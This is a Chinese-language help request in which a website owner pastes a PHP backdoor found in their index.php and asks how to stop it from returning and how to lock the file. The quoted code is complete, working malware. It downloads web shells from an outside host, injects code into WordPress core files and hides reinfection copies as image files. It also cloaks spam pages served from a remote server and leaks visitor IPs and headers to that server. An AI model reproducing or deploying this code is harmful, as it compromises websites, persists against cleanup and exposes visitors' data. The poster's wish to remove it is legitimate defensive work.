我的index.php中有这段代码，请帮助我如何防止此代码返回，有什么方法可以锁定我的index.php文件。
<?php error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;
if(isset($_GET['dt'])){
$dt = $_GET['dt'];
}
$site = @$_GET['smsite'];
$jdir = '';
$http_web = 'http';
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$smuri_tmp = smrequest_uri();
$uri_script = "";
if(strstr($smuri_tmp, ".php") && !$site){
$uri_arr = explode(".php", $smuri_tmp);
$uri_script = $uri_arr[0].".php?";
$smuri_tmp = $uri_arr[1];
$smuri_tmp = str_replace("?", "/", $smuri_tmp);
}
if($smuri_tmp==''){
$smuri_tmp='/';
}
$s = 'b'.'ase6'.'4_e'.'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri(){
if (isset($_SERVER['REQUEST_URI'])){
$smuri = $_SERVER['REQUEST_URI'];
}else{
if(isset($_SERVER['argv'])){
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
}else{
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
write();
echo "write done!";
exit();
}
$goweb = 'seo601-2.firstok.xyz';
$password = md5(md5(@$_GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
$add_content = @$_GET['mapname'];
$action = @$_GET['action'];
$domain = @$_GET['domain'];
if($domain){
$host = $domain;
}else{
$host = $_SERVER['HTTP_HOST'];
}
//$host = $_SERVER['HTTP_HOST'];
$path = dirname(__FILE__);
$file_path = $path.'/robots.txt';
if(!$action){
$action = 'put';
}
if($action == 'put'){
$data = 'User-agent: *
Allow: /';
$uri_script = trim($uri_script);
if( $uri_script!= "" && $uri_script!="/index.php?"){
$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";
}else{
$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";
}
$num = mt_rand(5, 10);
for($i = 0; $i<$num; $i++){
if(trim($uri_script) != "" && $uri_script!="/index.php?"){
$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";
}else{
$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";
}
}
@chmod("robots.txt", 0755);
file_put_contents("robots.txt", $data);
echo "robots write done!!";
}
if($action == 'del'){
if(file_exists($file_path)){
$data = smoutdo($file_path);
}else{
$data = '';
}
if(strstr($data,'/'.$add_content)){
if(is_https()){
$data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
}else{
$data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
}
if(file_put_contents($file_path,$data_new)) {
echo '<br>ok<br>';
}else{
echo '<br>file write false!<br>';
}
}else{
echo '<br>sitemap does not exist!<br>';
}
}
exit;
}
function is_https() {
if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return true;
} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
$temp = @$_GET['smtemp'];
$id = @$_GET['smid'];
$page = @$_GET['smpage'];
$site = str_replace('/','',$site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/','',$tempweb);
if($tempweb){
$site = $tempweb[0].$tempweb[1].$tempweb[2];
$temp = substr($tempweb,3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if(isset($_SERVER['HTTP_REFERER'])){
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = $s($urlshang);
}else{
$urlshang = '';
}
if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$clock = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$clock = $_SERVER['REMOTE_ADDR'];
}
$http_clock = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$http_clock = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$http_clock = getenv('HTTP_X_FORWARDED_FOR');
}
if(stristr($clock,',')){
$clock_tmp = explode(",",$clock);
$clock = $clock_tmp[0];
}
if(!isset($sitemap_file) || @$sitemap_file==''){
$sitemap_file = 'sitemap';
}
if(!isset($mapnum) || @$mapnum==''){
$sitemap_file = 2000;
}
if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){
@header("Content-type: text/xml");
if(isset($uriarr[1])){
$id = str_replace('_','',$uriarr[1]);
}else{
$id = 100;
}
$ivmapid = 0;
sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);
exit();
}
function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
$web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;
return trim(smoutdo($web));
}
function sitemap_out($url,$host,$uri_script){
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$date_str = date("Y-m-d\TH:i:sP",time());
$sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
$sitemap_header .= '
<url>
<loc>'.$http.'://' . $host . "/" . '</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
$url_arr = explode("\r\n",$url);
$map_str = $sitemap_header;
foreach($url_arr as $value){
$map_str .= '
<url>
<loc>'.$http.'://' . $host . "/" .$value .'</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
}
if($uri_script != ""){
$map_str = str_replace($host."/",$host.$uri_script, $map_str);
}
echo $map_str."
</urlset>";
}
function get($url){
$contents = @file_get_contents($url);
if (!$contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$contents = curl_exec($ch);
curl_close($ch);
}
return $contents;
}
function write(){
$write1 = get("http://hello.turnedpro.xyz/write1.txt");
$write2 = get("http://hello.turnedpro.xyz/write2.txt");
$shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt");
$shell_load = get("http://hello.turnedpro.xyz/mm2.txt");
$ht_content = file_get_contents(".htaccess");
$index_content = file_get_contents("index.php");
$loader_php = "wp-includes/template-loader.php";
$load_php = "wp-includes/load.php";
$font_editor_php = "wp-includes/SimplePie/font-editor.php";
if(!is_dir("css")){
mkdir("css", 0755, true);
}
file_put_contents("css/load.php", $shell_load);
if(is_dir("wp-includes/SimplePie")){
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
$loader_content = file_get_contents($loader_php);
$load_content = file_get_contents($load_php);
@chmod($loader_php, 0755);@chmod($load_php, 0755);
file_put_contents($loader_php, $write1.$loader_content);
file_put_contents($load_php, $load_content.$write2);
@chmod($loader_php, 0644);@chmod($load_php, 0644);
file_put_contents($font_editor_php, $shell_postfs);
}
}
if(stristr($smuri_tmp,'.css')){
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
@header("Content-type: text/css; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}else if($site){
if($site == 'xml'){
@header("Content-type: text/html; charset=utf-8");
$mapdir = @$_GET['mapdir'];
$maptype = @$_GET['maptype'];
$filetype = @$_GET['filetype'];
$map_splits_num = @$_GET['map_splits_num'];
$map_num = @$_GET['map_num'];
$dataNew = @$_GET['dataNew'];
if($mapdir){
if(!is_dir($mapdir)){
@mkdir($mapdir,0777,true);
echo 'ok '.$mapdir.' success!<br>';
}else{
echo $mapdir.' already exist!<br>';
}
}
if(@$_GET['mapindex']){
$filearray = listDir($mapdir);
if(count($filearray)>=2){
$mapindex_str = '';
$mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
foreach($filearray as $value){
if(stristr($value,'.xml')){
$mapindex_str .= '
<sitemap>
<loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc>
</sitemap>';
}
}
$mapindex_str .= '
</sitemapindex>';
$xmlname = @$_GET['mapindex'].'.xml';
$myfile = fopen($xmlname, "w");
fwrite($myfile, $mapindex_str);
fclose($myfile);
echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname;
//echo "<br>".$web;
exit;
}else{
echo 'xml file less number mapindex faile!';
exit;
}
}
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
if(substr($temp,0,8)=='shellxml'){
$xmlname = substr($temp,8).'.xml';
}
if(substr($temp,0,7)=='hackxml'){
if(substr($temp,7)){
$xmlname = substr($temp,7).'.xml';
}
}
if(@$_GET['mapdir']){
if($filetype==1){
$xmlname = $xmlname.'.gz';
}else if($filetype==2){
if(function_exists('gzopen')) {
$xmlname = $xmlname.'.gz';
if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
gzwrite ($fp, $xml);
gzclose($fp);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}else{
gzclose($fp);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}
}else{
echo '<font style="color:red">gzopen no exists!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
echo "<br>".$web;
exit();
}
}
if(fopen($mapdir.'/'.$xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$myfile = fopen($mapdir.'/'.$xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}else{
fclose($myfile);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}
}else{
if(fopen($xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}else{
fclose($myfile);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}
}
}
if($id){
@header("Content-type: text/html; charset=utf-8");
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
}else{
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if($uri_script != ""){
$html_content = str_replace($host."/",$host.$uri_script, $html_content);
}
if(!strstr($html_content,'nobotuseragent')){
@header("Content-type: text/html; charset=utf-8");
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}else if(strstr($html_content,'getcontent301page')){
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page",'',$html_content);
header('Location: '.$html_content);
exit();
}
}
}
function smisbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');
foreach ($googleBot as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smotherbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
foreach ($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smoutdo($url){
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
function listDir($dir){
$filearr = array();
if(is_dir($dir)){
if ($dh = opendir($dir)){
while (($file = readdir($dh)) !== false){
if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){
$filearr[] = $file;
}
}
closedir($dh);
}
}
return $filearr;
}
?>